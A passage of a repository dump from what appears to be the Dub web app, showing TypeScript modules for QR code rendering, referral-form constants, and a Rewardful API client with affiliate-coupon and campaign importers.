the character count field for a segment in\n    // this mode in a QR Code at the given version number. The result is in the range [0, 16].\n    public numCharCountBits(ver: int): int {\n      return this.numBitsCharCount[Math.floor((ver + 7) / 17)];\n    }\n  }\n}\n\n// Modification to export for actual use\nexport default qrcodegen;\n"
  },
  {
    "path": "apps/web/lib/qr/constants.ts",
    "content": "import qrcodegen from \"./codegen\";\n\nexport const ERROR_LEVEL_MAP: { [index: string]: qrcodegen.QrCode.Ecc } = {\n  L: qrcodegen.QrCode.Ecc.LOW,\n  M: qrcodegen.QrCode.Ecc.MEDIUM,\n  Q: qrcodegen.QrCode.Ecc.QUARTILE,\n  H: qrcodegen.QrCode.Ecc.HIGH,\n};\n\nexport const DEFAULT_SIZE = 128;\nexport const DEFAULT_LEVEL = \"L\";\nexport const DEFAULT_BGCOLOR = \"#FFFFFF\";\nexport const DEFAULT_FGCOLOR = \"#000000\";\nexport const DEFAULT_MARGIN = 2;\n\nexport const QR_LEVELS = [\"L\", \"M\", \"Q\", \"H\"] as const;\n\n// This is *very* rough estimate of max amount of QRCode allowed to be covered.\n// It is \"wrong\" in a lot of ways (area is a terrible way to estimate, it\n// really should be number of modules covered), but if for some reason we don't\n// get an explicit height or width, I'd rather default to something than throw.\nexport const DEFAULT_IMG_SCALE = 0.1;\n"
  },
  {
    "path": "apps/web/lib/qr/index.tsx",
    "content": "/**\n * @license qrcode.react\n * Copyright (c) Paul O'Shannessy\n * SPDX-License-Identifier: ISC\n */\nimport { DUB_QR_LOGO } from \"@dub/utils/src/constants\";\nimport { useEffect, useRef, useState, type JSX } from \"react\";\nimport qrcodegen from \"./codegen\";\nimport {\n  DEFAULT_BGCOLOR,\n  DEFAULT_FGCOLOR,\n  DEFAULT_LEVEL,\n  DEFAULT_MARGIN,\n  DEFAULT_SIZE,\n  ERROR_LEVEL_MAP,\n} from \"./constants\";\nimport { QRProps, QRPropsCanvas } from \"./types\";\nimport {\n  SUPPORTS_PATH2D,\n  excavateModules,\n  generatePath,\n  getImageSettings,\n} from \"./utils\";\nexport * from \"./types\";\nexport * from \"./utils\";\n\nexport function QRCodeCanvas(props: QRPropsCanvas) {\n  const {\n    value,\n    size = DEFAULT_SIZE,\n    level = DEFAULT_LEVEL,\n    bgColor = DEFAULT_BGCOLOR,\n    fgColor = DEFAULT_FGCOLOR,\n    margin = DEFAULT_MARGIN,\n    style,\n    imageSettings,\n    ...otherProps\n  } = props;\n  const imgSrc = imageSettings?.src;\n  const _canvas = useRef<HTMLCanvasElement>(null);\n  const _image = useRef<HTMLImageElement>(null);\n\n  // We're just using this state to trigger rerenders when images load. We\n  // Don't actually read the value anywhere. A smarter use of useEffect would\n  // depend on this value.\n  // eslint-disable-next-line @typescript-eslint/no-unused-vars\n  const [isImgLoaded, setIsImageLoaded] = useState(false);\n\n  useEffect(() => {\n    // Always update the canvas. It's cheap enough and we want to be correct\n    // with the current state.\n    if (_canvas.current != null) {\n      const canvas = _canvas.current;\n\n      const ctx = canvas.getContext(\"2d\");\n      if (!ctx) {\n        return;\n      }\n\n      let cells = qrcodegen.QrCode.encodeText(\n        value,\n        ERROR_LEVEL_MAP[level],\n      ).getModules();\n\n      const numCells = cells.length + margin * 2;\n      const calculatedImageSettings = getImageSettings(\n        cells,\n        size,\n        margin,\n        imageSettings,\n      );\n\n      const image = _image.current;\n      const haveImageToRender =\n        calculatedImageSettings != null &&\n        image !== null &&\n        image.complete &&\n        image.naturalHeight !== 0 &&\n        image.naturalWidth !== 0;\n\n      if (haveImageToRender) {\n        if (calculatedImageSettings.excavation != null) {\n          cells = excavateModules(cells, calculatedImageSettings.excavation);\n        }\n      }\n\n      // We're going to scale this so that the number of drawable units\n      // matches the number of cells. This avoids rounding issues, but does\n      // result in some potentially unwanted single pixel issues between\n      // blocks, only in environments that don't support Path2D.\n      const pixelRatio = window.devicePixelRatio || 1;\n      canvas.height = canvas.width = size * pixelRatio;\n      const scale = (size / numCells) * pixelRatio;\n      ctx.scale(scale, scale);\n\n      // Draw solid background, only paint dark modules.\n      ctx.fillStyle = bgColor;\n      ctx.fillRect(0, 0, numCells, numCells);\n\n      ctx.fillStyle = fgColor;\n      if (SUPPORTS_PATH2D) {\n        // $FlowFixMe: Path2D c'tor doesn't support args yet.\n        ctx.fill(new Path2D(generatePath(cells, margin)));\n      } else {\n        cells.forEach(function (row, rdx) {\n          row.forEach(function (cell, cdx) {\n            if (cell) {\n              ctx.fillRect(cdx + margin, rdx + margin, 1, 1);\n            }\n          });\n        });\n      }\n\n      if (haveImageToRender) {\n        ctx.drawImage(\n          image,\n          calculatedImageSettings.x + margin,\n          calculatedImageSettings.y + margin,\n          calculatedImageSettings.w,\n          calculatedImageSettings.h,\n        );\n      }\n    }\n  });\n\n  // Ensure we mark image loaded as false here so we trigger updating the\n  // canvas in our other effect.\n  useEffect(() => {\n    setIsImageLoaded(false);\n  }, [imgSrc]);\n\n  const canvasStyle = { height: size, width: size, ...style };\n  let img: JSX.Element | null = null;\n  if (imgSrc != null) {\n    img = (\n      <img\n        alt=\"QR code\"\n        src={imgSrc}\n        key={imgSrc}\n        style={{ display: \"none\" }}\n        onLoad={() => {\n          setIsImageLoaded(true);\n        }}\n        ref={_image}\n      />\n    );\n  }\n  return (\n    <>\n      <canvas\n        style={canvasStyle}\n        height={size}\n        width={size}\n        ref={_canvas}\n        {...otherProps}\n      />\n      {img}\n    </>\n  );\n}\n\nexport async function getQRAsSVGDataUri(props: QRProps) {\n  const {\n    value,\n    size = DEFAULT_SIZE,\n    level = DEFAULT_LEVEL,\n    bgColor = DEFAULT_BGCOLOR,\n    fgColor = DEFAULT_FGCOLOR,\n    margin = DEFAULT_MARGIN,\n    imageSettings,\n  } = props;\n\n  let cells = qrcodegen.QrCode.encodeText(\n    value,\n    ERROR_LEVEL_MAP[level],\n  ).getModules();\n\n  const numCells = cells.length + margin * 2;\n  const calculatedImageSettings = getImageSettings(\n    cells,\n    size,\n    margin,\n    imageSettings,\n  );\n\n  let image = \"\";\n  if (imageSettings != null && calculatedImageSettings != null) {\n    if (calculatedImageSettings.excavation != null)\n      cells = excavateModules(cells, calculatedImageSettings.excavation);\n\n    const base64Image = await getBase64Image(imageSettings.src);\n\n    image = [\n      `<image href=\"${base64Image}\"`,\n      `height=\"${calculatedImageSettings.h}\"`,\n      `width=\"${calculatedImageSettings.w}\"`,\n      `x=\"${calculatedImageSettings.x + margin}\"`,\n      `y=\"${calculatedImageSettings.y + margin}\"`,\n      'preserveAspectRatio=\"none\"></image>',\n    ].join(\" \");\n  }\n\n  const fgPath = generatePath(cells, margin);\n\n  const svgData = [\n    `<svg xmlns=\"http://www.w3.org/2000/svg\" height=\"${size}\" width=\"${size}\" viewBox=\"0 0 ${numCells} ${numCells}\">`,\n    `<path fill=\"${bgColor}\" d=\"M0,0 h${numCells}v${numCells}H0z\" shapeRendering=\"crispEdges\"></path>`,\n    `<path fill=\"${fgColor}\" d=\"${fgPath}\" shapeRendering=\"crispEdges\"></path>`,\n    image,\n    \"</svg>\",\n  ].join(\"\");\n\n  return `data:image/svg+xml,${encodeURIComponent(svgData)}`;\n}\n\nconst getBase64Image = (imgUrl: string) => {\n  return new Promise(function (resolve, reject) {\n    const img = new Image();\n    img.src = imgUrl;\n    img.setAttribute(\"crossOrigin\", \"anonymous\");\n\n    img.onload = function () {\n      const canvas = document.createElement(\"canvas\");\n\n      canvas.width = img.width;\n      canvas.height = img.height;\n\n      const ctx = canvas.getContext(\"2d\");\n      ctx?.drawImage(img, 0, 0);\n\n      const dataURL = canvas.toDataURL(\"image/png\");\n      resolve(dataURL);\n    };\n\n    img.onerror = function () {\n      reject(\"The image could not be loaded.\");\n    };\n  });\n};\n\nfunction waitUntilImageLoaded(img: HTMLImageElement, src: string) {\n  return new Promise((resolve) => {\n    function onFinish() {\n      img.onload = null;\n      img.onerror = null;\n      resolve(true);\n    }\n    img.onload = onFinish;\n    img.onerror = onFinish;\n    img.src = src;\n    img.loading = \"eager\";\n  });\n}\n\nexport async function getQRAsCanvas(\n  props: QRProps,\n  type: string,\n  getCanvas?: boolean,\n): Promise<HTMLCanvasElement | string> {\n  const {\n    value,\n    size = DEFAULT_SIZE,\n    level = DEFAULT_LEVEL,\n    bgColor = DEFAULT_BGCOLOR,\n    fgColor = DEFAULT_FGCOLOR,\n    margin = DEFAULT_MARGIN,\n    imageSettings,\n  } = props;\n\n  const canvas = document.createElement(\"canvas\");\n  const ctx = canvas.getContext(\"2d\") as CanvasRenderingContext2D;\n\n  let cells = qrcodegen.QrCode.encodeText(\n    value,\n    ERROR_LEVEL_MAP[level],\n  ).getModules();\n  const numCells = cells.length + margin * 2;\n  const calculatedImageSettings = getImageSettings(\n    cells,\n    size,\n    margin,\n    imageSettings,\n  );\n\n  const image = new Image();\n  image.crossOrigin = \"anonymous\";\n  if (calculatedImageSettings) {\n    // @ts-expect-error: imageSettings is not null\n    await waitUntilImageLoaded(image, imageSettings.src);\n    if (calculatedImageSettings.excavation != null) {\n      cells = excavateModules(cells, calculatedImageSettings.excavation);\n    }\n  }\n\n  const pixelRatio = window.devicePixelRatio || 1;\n  canvas.height = canvas.width = size * pixelRatio;\n  const scale = (size / numCells) * pixelRatio;\n  ctx.scale(scale, scale);\n\n  // Draw solid background, only paint dark modules.\n  ctx.fillStyle = bgColor;\n  ctx.fillRect(0, 0, numCells, numCells);\n\n  ctx.fillStyle = fgColor;\n  if (SUPPORTS_PATH2D) {\n    // $FlowFixMe: Path2D c'tor doesn't support args yet.\n    ctx.fill(new Path2D(generatePath(cells, margin)));\n  } else {\n    cells.forEach(function (row, rdx) {\n      row.forEach(function (cell, cdx) {\n        if (cell) {\n          ctx.fillRect(cdx + margin, rdx + margin, 1, 1);\n        }\n      });\n    });\n  }\n\n  const haveImageToRender =\n    calculatedImageSettings != null &&\n    image !== null &&\n    image.complete &&\n    image.naturalHeight !== 0 &&\n    image.naturalWidth !== 0;\n  if (haveImageToRender) {\n    ctx.drawImage(\n      image,\n      calculatedImageSettings.x + margin,\n      calculatedImageSettings.y + margin,\n      calculatedImageSettings.w,\n      calculatedImageSettings.h,\n    );\n  }\n\n  if (getCanvas) return canvas;\n\n  const url = canvas.toDataURL(type, 1.0);\n  canvas.remove();\n  image.remove();\n  return url;\n}\n\nexport function getQRData({\n  url,\n  fgColor,\n  hideLogo,\n  logo,\n  margin,\n}: {\n  url: string;\n  fgColor?: string;\n  hideLogo?: boolean;\n  logo?: string;\n  margin?: number;\n}) {\n  return {\n    value: `${url}?qr=1`,\n    bgColor: \"#ffffff\",\n    fgColor,\n    size: 1024,\n    level: \"Q\", // QR Code error correction level: https://blog.qrstuff.com/general/qr-code-error-correction\n    hideLogo,\n    margin,\n    ...(!hideLogo && {\n      imageSettings: {\n        src: logo || DUB_QR_LOGO,\n        height: 256,\n        width: 256,\n        excavate: true,\n      },\n    }),\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/qr/types.ts",
    "content": "import type { CSSProperties } from \"react\";\nimport qrcodegen from \"./codegen\";\n\nexport type Modules = ReturnType<qrcodegen.QrCode[\"getModules\"]>;\nexport type Excavation = { x: number; y: number; w: number; h: number };\n\nexport type ImageSettings = {\n  src: string;\n  height: number;\n  width: number;\n  excavate: boolean;\n  x?: number;\n  y?: number;\n};\n\nexport type QRProps = {\n  value: string;\n  size?: number;\n  level?: string;\n  bgColor?: string;\n  fgColor?: string;\n  margin?: number;\n  style?: CSSProperties;\n  imageSettings?: ImageSettings;\n  isOGContext?: boolean;\n};\nexport type QRPropsCanvas = QRProps &\n  React.CanvasHTMLAttributes<HTMLCanvasElement>;\nexport type QRPropsSVG = QRProps & React.SVGProps<SVGSVGElement>;\n"
  },
  {
    "path": "apps/web/lib/qr/utils.tsx",
    "content": "import qrcodegen from \"./codegen\";\nimport {\n  DEFAULT_BGCOLOR,\n  DEFAULT_FGCOLOR,\n  DEFAULT_IMG_SCALE,\n  DEFAULT_LEVEL,\n  DEFAULT_MARGIN,\n  DEFAULT_SIZE,\n  ERROR_LEVEL_MAP,\n} from \"./constants\";\nimport { Excavation, ImageSettings, Modules, QRPropsSVG } from \"./types\";\n\nimport type { JSX } from \"react\";\n\n// We could just do this in generatePath, except that we want to support\n// non-Path2D canvas, so we need to keep it an explicit step.\nexport function excavateModules(\n  modules: Modules,\n  excavation: Excavation,\n): Modules {\n  return modules.slice().map((row, y) => {\n    if (y < excavation.y || y >= excavation.y + excavation.h) {\n      return row;\n    }\n    return row.map((cell, x) => {\n      if (x < excavation.x || x >= excavation.x + excavation.w) {\n        return cell;\n      }\n      return false;\n    });\n  });\n}\n\nexport function generatePath(modules: Modules, margin = 0): string {\n  const ops: Array<string> = [];\n  modules.forEach(function (row, y) {\n    let start: number | null = null;\n    row.forEach(function (cell, x) {\n      if (!cell && start !== null) {\n        // M0 0h7v1H0z injects the space with the move and drops the comma,\n        // saving a char per operation\n        ops.push(\n          `M${start + margin} ${y + margin}h${x - start}v1H${start + margin}z`,\n        );\n        start = null;\n        return;\n      }\n\n      // end of row, clean up or skip\n      if (x === row.length - 1) {\n        if (!cell) {\n          // We would have closed the op above already so this can only mean\n          // 2+ light modules in a row.\n          return;\n        }\n        if (start === null) {\n          // Just a single dark module.\n          ops.push(`M${x + margin},${y + margin} h1v1H${x + margin}z`);\n        } else {\n          // Otherwise finish the current line.\n          ops.push(\n            `M${start + margin},${y + margin} h${x + 1 - start}v1H${\n              start + margin\n            }z`,\n          );\n        }\n        return;\n      }\n\n      if (cell && start === null) {\n        start = x;\n      }\n    });\n  });\n  return ops.join(\"\");\n}\n\nexport function getImageSettings(\n  cells: Modules,\n  size: number,\n  margin: number,\n  imageSettings?: ImageSettings,\n): null | {\n  x: number;\n  y: number;\n  h: number;\n  w: number;\n  excavation: Excavation | null;\n} {\n  if (imageSettings == null) {\n    return null;\n  }\n\n  const qrCodeSize = cells.length;\n  const defaultSize = Math.floor(size * DEFAULT_IMG_SCALE);\n  const scale = qrCodeSize / size;\n  const w = (imageSettings.width || defaultSize) * scale;\n  const h = (imageSettings.height || defaultSize) * scale;\n\n  // Center the image in the QR code area (without margins)\n  const x =\n    imageSettings.x == null ? qrCodeSize / 2 - w / 2 : imageSettings.x * scale;\n  const y =\n    imageSettings.y == null ? qrCodeSize / 2 - h / 2 : imageSettings.y * scale;\n\n  let excavation: Excavation | null = null;\n  if (imageSettings.excavate) {\n    const floorX = Math.floor(x);\n    const floorY = Math.floor(y);\n    const ceilW = Math.ceil(w + x - floorX);\n    const ceilH = Math.ceil(h + y - floorY);\n    excavation = { x: floorX, y: floorY, w: ceilW, h: ceilH };\n  }\n\n  return { x, y, h, w, excavation };\n}\n\nexport function convertImageSettingsToPixels(\n  calculatedImageSettings: {\n    x: number;\n    y: number;\n    w: number;\n    h: number;\n    excavation: Excavation | null;\n  },\n  size: number,\n  numCells: number,\n  margin: number,\n) {\n  const pixelRatio = size / numCells;\n  const imgWidth = calculatedImageSettings.w * pixelRatio;\n  const imgHeight = calculatedImageSettings.h * pixelRatio;\n  const imgLeft = (calculatedImageSettings.x + margin) * pixelRatio;\n  const imgTop = (calculatedImageSettings.y + margin) * pixelRatio;\n\n  return { imgWidth, imgHeight, imgLeft, imgTop };\n}\n\nexport function QRCodeSVG(props: QRPropsSVG) {\n  const {\n    value,\n    size = DEFAULT_SIZE,\n    level = DEFAULT_LEVEL,\n    bgColor = DEFAULT_BGCOLOR,\n    fgColor = DEFAULT_FGCOLOR,\n    margin = DEFAULT_MARGIN,\n    isOGContext = false,\n    imageSettings,\n    ...otherProps\n  } = props;\n\n  const shouldUseHigherErrorLevel =\n    isOGContext && imageSettings?.excavate && (level === \"L\" || level === \"M\");\n\n  // Use a higher error correction level 'Q' when excavation is enabled\n  // to ensure the QR code remains scannable despite the removed modules.\n  const effectiveLevel = shouldUseHigherErrorLevel ? \"Q\" : level;\n\n  let cells = qrcodegen.QrCode.encodeText(\n    value,\n    ERROR_LEVEL_MAP[effectiveLevel],\n  ).getModules();\n\n  const numCells = cells.length + margin * 2;\n  const calculatedImageSettings = getImageSettings(\n    cells,\n    size,\n    margin,\n    imageSettings,\n  );\n\n  let image: null | JSX.Element = null;\n  if (imageSettings != null && calculatedImageSettings != null) {\n    if (calculatedImageSettings.excavation != null) {\n      cells = excavateModules(cells, calculatedImageSettings.excavation);\n    }\n\n    if (isOGContext) {\n      const { imgWidth, imgHeight, imgLeft, imgTop } =\n        convertImageSettingsToPixels(\n          calculatedImageSettings,\n          size,\n          numCells,\n          margin,\n        );\n\n      image = (\n        <img\n          src={imageSettings.src}\n          alt=\"Logo\"\n          style={{\n            position: \"absolute\",\n            left: `${imgLeft}px`,\n            top: `${imgTop}px`,\n            width: `${imgWidth}px`,\n            height: `${imgHeight}px`,\n          }}\n        />\n      );\n    } else {\n      image = (\n        <image\n          href={imageSettings.src}\n          height={calculatedImageSettings.h}\n          width={calculatedImageSettings.w}\n          x={calculatedImageSettings.x + margin}\n          y={calculatedImageSettings.y + margin}\n          preserveAspectRatio=\"none\"\n        />\n      );\n    }\n  }\n\n  // Drawing strategy: instead of a rect per module, we're going to create a\n  // single path for the dark modules and layer that on top of a light rect,\n  // for a total of 2 DOM nodes. We pay a bit more in string concat but that's\n  // way faster than DOM ops.\n  // For level 1, 441 nodes -> 2\n  // For level 40, 31329 -> 2\n  const fgPath = generatePath(cells, margin);\n\n  return (\n    <svg\n      height={size}\n      width={size}\n      viewBox={`0 0 ${numCells} ${numCells}`}\n      {...otherProps}\n    >\n      <path\n        fill={bgColor}\n        d={`M0,0 h${numCells}v${numCells}H0z`}\n        shapeRendering=\"crispEdges\"\n      />\n      <path fill={fgColor} d={fgPath} shapeRendering=\"crispEdges\" />\n      {image}\n    </svg>\n  );\n}\n\n// For canvas we're going to switch our drawing mode based on whether or not\n// the environment supports Path2D. We only need the constructor to be\n// supported, but Edge doesn't actually support the path (string) type\n// argument. Luckily it also doesn't support the addPath() method. We can\n// treat that as the same thing.\nexport const SUPPORTS_PATH2D = (function () {\n  try {\n    new Path2D().addPath(new Path2D());\n  } catch (e) {\n    return false;\n  }\n  return true;\n})();\n"
  },
  {
    "path": "apps/web/lib/referrals/constants.ts",
    "content": "import { ActivityLogAction } from \"@/lib/types\";\nimport { textFieldSchema } from \"@/lib/zod/schemas/referral-form\";\nimport { ReferralStatus } from \"@dub/prisma/client\";\nimport { ACME_PROGRAM_ID } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\n// Required fields configuration for referral forms\nexport const REFERRAL_FORM_REQUIRED_FIELDS: z.infer<typeof textFieldSchema>[] =\n  [\n    {\n      key: \"name\",\n      label: \"Name\",\n      type: \"text\",\n      required: true,\n      locked: true,\n      position: -3,\n    },\n    {\n      key: \"email\",\n      label: \"Email\",\n      type: \"text\",\n      required: true,\n      locked: true,\n      position: -2,\n    },\n    {\n      key: \"company\",\n      label: \"Company\",\n      type: \"text\",\n      required: true,\n      locked: true,\n      position: -1,\n    },\n  ];\n\n// Set of required field keys for quick lookup (derived from REQUIRED_FIELDS)\nexport const REFERRAL_FORM_REQUIRED_FIELD_KEYS = new Set(\n  REFERRAL_FORM_REQUIRED_FIELDS.map((field) => field.key),\n);\n\n// Input props map for required fields\nexport const REFERRAL_FORM_FIELD_INPUT_PROPS: Record<\n  string,\n  React.InputHTMLAttributes<HTMLInputElement>\n> = {\n  email: { type: \"email\", autoComplete: \"email\" },\n  name: { autoComplete: \"name\" },\n  company: { autoComplete: \"organization\" },\n};\n\nexport const REFERRAL_ENABLED_PROGRAM_IDS = [\n  ACME_PROGRAM_ID, // Acme\n  \"prog_1K7Y2RGFC4BKZQQZAZEEK9MVE\", // SelectCode\n  \"prog_1KFZQJZRDRV62C037FQZSY0Y8\", // FFG\n];\n\nexport const REFERRAL_STATUS_TO_ACTIVITY_ACTION: Record<\n  ReferralStatus,\n  ActivityLogAction\n> = {\n  [ReferralStatus.pending]: \"referral.created\",\n  [ReferralStatus.qualified]: \"referral.qualified\",\n  [ReferralStatus.meeting]: \"referral.meeting\",\n  [ReferralStatus.negotiation]: \"referral.negotiation\",\n  [ReferralStatus.unqualified]: \"referral.unqualified\",\n  [ReferralStatus.closedWon]: \"referral.closedWon\",\n  [ReferralStatus.closedLost]: \"referral.closedLost\",\n};\n\nexport const REFERRAL_STATUS_TRANSITIONS: Record<\n  ReferralStatus,\n  readonly ReferralStatus[]\n> = {\n  pending: [\"qualified\", \"meeting\", \"closedLost\", \"unqualified\"],\n  qualified: [\n    \"meeting\",\n    \"negotiation\",\n    \"closedWon\",\n    \"closedLost\",\n    \"unqualified\",\n  ],\n  meeting: [\n    \"negotiation\",\n    \"qualified\",\n    \"closedWon\",\n    \"closedLost\",\n    \"unqualified\",\n  ],\n  negotiation: [\n    \"closedWon\",\n    \"qualified\",\n    \"meeting\",\n    \"closedLost\",\n    \"unqualified\",\n  ],\n  closedWon: [],\n  closedLost: [],\n  unqualified: [],\n};\n"
  },
  {
    "path": "apps/web/lib/rewardful/api.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport {\n  RewardfulAffiliate,\n  RewardfulCampaign,\n  RewardfulCommission,\n  RewardfulCoupon,\n  RewardfulReferral,\n} from \"./types\";\n\nconst PAGE_LIMIT = 100;\n\nclass RewardfulApiError extends DubApiError {\n  constructor(message: string) {\n    super({\n      code: \"bad_request\",\n      message: `[Rewardful API] ${message}`,\n    });\n  }\n}\n\nexport class RewardfulApi {\n  private readonly baseUrl = \"https://api.getrewardful.com/v1\";\n  private readonly token: string;\n\n  constructor({ token }: { token: string }) {\n    this.token = token;\n  }\n\n  private async fetch<T>(url: string): Promise<T> {\n    const response = await fetch(url, {\n      headers: {\n        Authorization: `Basic ${Buffer.from(`${this.token}:`).toString(\"base64\")}`,\n      },\n    });\n\n    if (!response.ok) {\n      const error = await response.text();\n      console.log(\"Rewardful API Error:\", error);\n      throw new RewardfulApiError(error);\n    }\n\n    const data = await response.json();\n\n    return data as T;\n  }\n\n  async listCampaigns() {\n    const { data } = await this.fetch<{ data: RewardfulCampaign[] }>(\n      `${this.baseUrl}/campaigns`,\n    );\n\n    return data;\n  }\n\n  async listPartners({ page = 1 }: { page?: number }) {\n    const searchParams = new URLSearchParams();\n    searchParams.append(\"expand[]\", \"campaign\");\n    searchParams.append(\"expand[]\", \"links\");\n    searchParams.append(\"page\", page.toString());\n    searchParams.append(\"limit\", PAGE_LIMIT.toString());\n\n    const { data } = await this.fetch<{ data: RewardfulAffiliate[] }>(\n      `${this.baseUrl}/affiliates?${searchParams.toString()}`,\n    );\n\n    return data;\n  }\n\n  async listCustomers({ page = 1 }: { page?: number }) {\n    const searchParams = new URLSearchParams();\n    searchParams.append(\"expand[]\", \"affiliate\");\n    searchParams.append(\"conversion_state[]\", \"lead\");\n    searchParams.append(\"conversion_state[]\", \"conversion\");\n    searchParams.append(\"page\", page.toString());\n    searchParams.append(\"limit\", PAGE_LIMIT.toString());\n\n    const { data } = await this.fetch<{ data: RewardfulReferral[] }>(\n      `${this.baseUrl}/referrals?${searchParams.toString()}`,\n    );\n\n    return data;\n  }\n\n  async listCommissions({ page = 1 }: { page?: number }) {\n    const searchParams = new URLSearchParams();\n    searchParams.append(\"expand[]\", \"sale\");\n    searchParams.append(\"expand[]\", \"campaign\");\n    searchParams.append(\"page\", page.toString());\n    searchParams.append(\"limit\", PAGE_LIMIT.toString());\n\n    const { data } = await this.fetch<{ data: RewardfulCommission[] }>(\n      `${this.baseUrl}/commissions?${searchParams.toString()}`,\n    );\n\n    return data;\n  }\n\n  async listAffiliateCoupons({ page = 1 }: { page?: number }) {\n    const searchParams = new URLSearchParams();\n    searchParams.append(\"page\", page.toString());\n    searchParams.append(\"limit\", PAGE_LIMIT.toString());\n\n    const { data } = await this.fetch<{ data: RewardfulCoupon[] }>(\n      `${this.baseUrl}/affiliate_coupons?${searchParams.toString()}`,\n    );\n\n    return data;\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/rewardful/import-affiliate-coupons.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { createId } from \"../api/create-id\";\nimport { bulkCreateLinks } from \"../api/links\";\nimport { ProcessedLinkProps } from \"../types\";\nimport { redis } from \"../upstash\";\nimport { RewardfulApi } from \"./api\";\nimport { MAX_BATCHES, rewardfulImporter } from \"./importer\";\nimport { RewardfulImportPayload } from \"./types\";\n\nexport async function importAffiliateCoupons(payload: RewardfulImportPayload) {\n  const { programId, userId, page = 1 } = payload;\n\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    select: {\n      id: true,\n      workspaceId: true,\n      domain: true,\n      url: true,\n      defaultFolderId: true,\n    },\n  });\n\n  const { token } = await rewardfulImporter.getCredentials(program.workspaceId);\n\n  const rewardfulApi = new RewardfulApi({ token });\n\n  let currentPage = page;\n  let hasMore = true;\n  let processedBatches = 0;\n\n  while (hasMore && processedBatches < MAX_BATCHES) {\n    const affiliateCoupons = await rewardfulApi.listAffiliateCoupons({\n      page: currentPage,\n    });\n\n    if (affiliateCoupons.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    const affiliateIds = affiliateCoupons.map(\n      (affiliateCoupon) => affiliateCoupon.affiliate_id,\n    );\n\n    const results = await redis.hmget<\n      Record<\n        string,\n        { partnerId: string; groupId: string | null; discountId: string | null }\n      >\n    >(`rewardful:affiliates:${program.id}`, ...affiliateIds);\n\n    const filteredPartners = Object.fromEntries(\n      Object.entries(results ?? {}).filter(\n        ([_, value]) => value !== null && value !== undefined,\n      ),\n    );\n\n    // Find the coupons that have a partner account created on Dub\n    const filteredCoupons = affiliateCoupons.filter(\n      (affiliateCoupon) => filteredPartners[affiliateCoupon.affiliate_id],\n    );\n\n    const affiliateIdToCouponsMap = filteredCoupons.reduce(\n      (acc, coupon) => {\n        if (!acc[coupon.affiliate_id]) {\n          acc[coupon.affiliate_id] = [];\n        }\n\n        acc[coupon.affiliate_id].push(coupon);\n        return acc;\n      },\n\n      {} as Record<string, typeof filteredCoupons>,\n    );\n\n    const linksToCreate: Partial<ProcessedLinkProps>[] = [];\n\n    if (Object.keys(affiliateIdToCouponsMap).length > 0) {\n      for (const [affiliateId, coupons] of Object.entries(\n        affiliateIdToCouponsMap,\n      )) {\n        const { partnerId } = filteredPartners[affiliateId];\n\n        if (!partnerId) {\n          continue;\n        }\n\n        linksToCreate.push(\n          ...coupons.map((coupon) => ({\n            domain: program.domain!,\n            key: coupon.token,\n            url: program.url!,\n            trackConversion: true,\n            programId,\n            partnerId,\n            folderId: program.defaultFolderId,\n            userId,\n            projectId: program.workspaceId,\n            comments: `Link created for coupon ${coupon.token}`,\n          })),\n        );\n      }\n    }\n\n    if (linksToCreate.length > 0) {\n      const createdLinks = await bulkCreateLinks({\n        links: linksToCreate as ProcessedLinkProps[],\n      });\n      console.log(`Created ${createdLinks.length} links`);\n\n      const createdDiscountCodes = await prisma.discountCode.createMany({\n        data: filteredCoupons\n          .map((coupon) => {\n            const { partnerId, discountId } =\n              filteredPartners[coupon.affiliate_id];\n\n            // link should always exist since we return all links (including duplicates) from bulkCreateLinks\n            const link = createdLinks.find(\n              (link) => link.key.toLowerCase() === coupon.token.toLowerCase(),\n            );\n            if (!link) {\n              console.error(`Link not found for coupon ${coupon.token}`);\n              return null;\n            }\n\n            return {\n              id: createId({ prefix: \"dcode_\" }),\n              code: coupon.token,\n              programId,\n              partnerId,\n              linkId: link.id,\n              discountId,\n            };\n          })\n          .filter((code): code is NonNullable<typeof code> => code !== null),\n        skipDuplicates: true,\n      });\n\n      console.log(`Created ${createdDiscountCodes.count} discount codes`);\n    }\n\n    currentPage++;\n    processedBatches++;\n  }\n\n  if (!hasMore) {\n    await redis.del(`rewardful:affiliates:${program.id}`);\n  }\n\n  const action = hasMore ? \"import-affiliate-coupons\" : \"import-customers\";\n\n  await rewardfulImporter.queue({\n    ...payload,\n    action,\n    page: hasMore ? currentPage : undefined,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/rewardful/import-campaigns.ts",
    "content": "import { RESOURCE_COLORS } from \"@/ui/colors\";\nimport { prisma } from \"@dub/prisma\";\nimport { EventType, Prisma, RewardStructure } from \"@dub/prisma/client\";\nimport { randomValue } from \"@dub/utils\";\nimport { differenceInSeconds } from \"date-fns\";\nimport { createId } from \"../api/create-id\";\nimport { serializeReward } from \"../api/partners/serialize-reward\";\nimport { getRewardAmount } from \"../partners/get-reward-amount\";\nimport { stripeAppClient } from \"../stripe\";\nimport {\n  DubDiscountAttributes,\n  stripeCouponToDubDiscount,\n  validateStripeCouponForDubDiscount,\n} from \"../stripe/coupon-discount-converter\";\nimport { DEFAULT_PARTNER_GROUP } from \"../zod/schemas/groups\";\nimport { RewardfulApi } from \"./api\";\nimport { rewardfulImporter } from \"./importer\";\nimport { RewardfulImportPayload } from \"./types\";\n\nconst stripe = stripeAppClient({\n  ...(process.env.VERCEL_ENV && { mode: \"live\" }),\n});\n\nexport async function importCampaigns(payload: RewardfulImportPayload) {\n  const { programId, campaignIds } = payload;\n\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    include: {\n      workspace: {\n        select: {\n          stripeConnectId: true,\n        },\n      },\n      groups: {\n        where: {\n          slug: DEFAULT_PARTNER_GROUP.slug,\n        },\n      },\n    },\n  });\n\n  if (!program.domain || !program.url) {\n    throw new Error(\"Program domain or URL is not set.\");\n  }\n\n  const {\n    logo,\n    wordmark,\n    brandColor,\n    holdingPeriodDays,\n    autoApprovePartnersEnabledAt,\n    additionalLinks,\n    maxPartnerLinks,\n    linkStructure,\n    applicationFormData,\n    landerData,\n  } = program.groups[0] ?? {};\n\n  const { token } = await rewardfulImporter.getCredentials(program.workspaceId);\n\n  const rewardfulApi = new 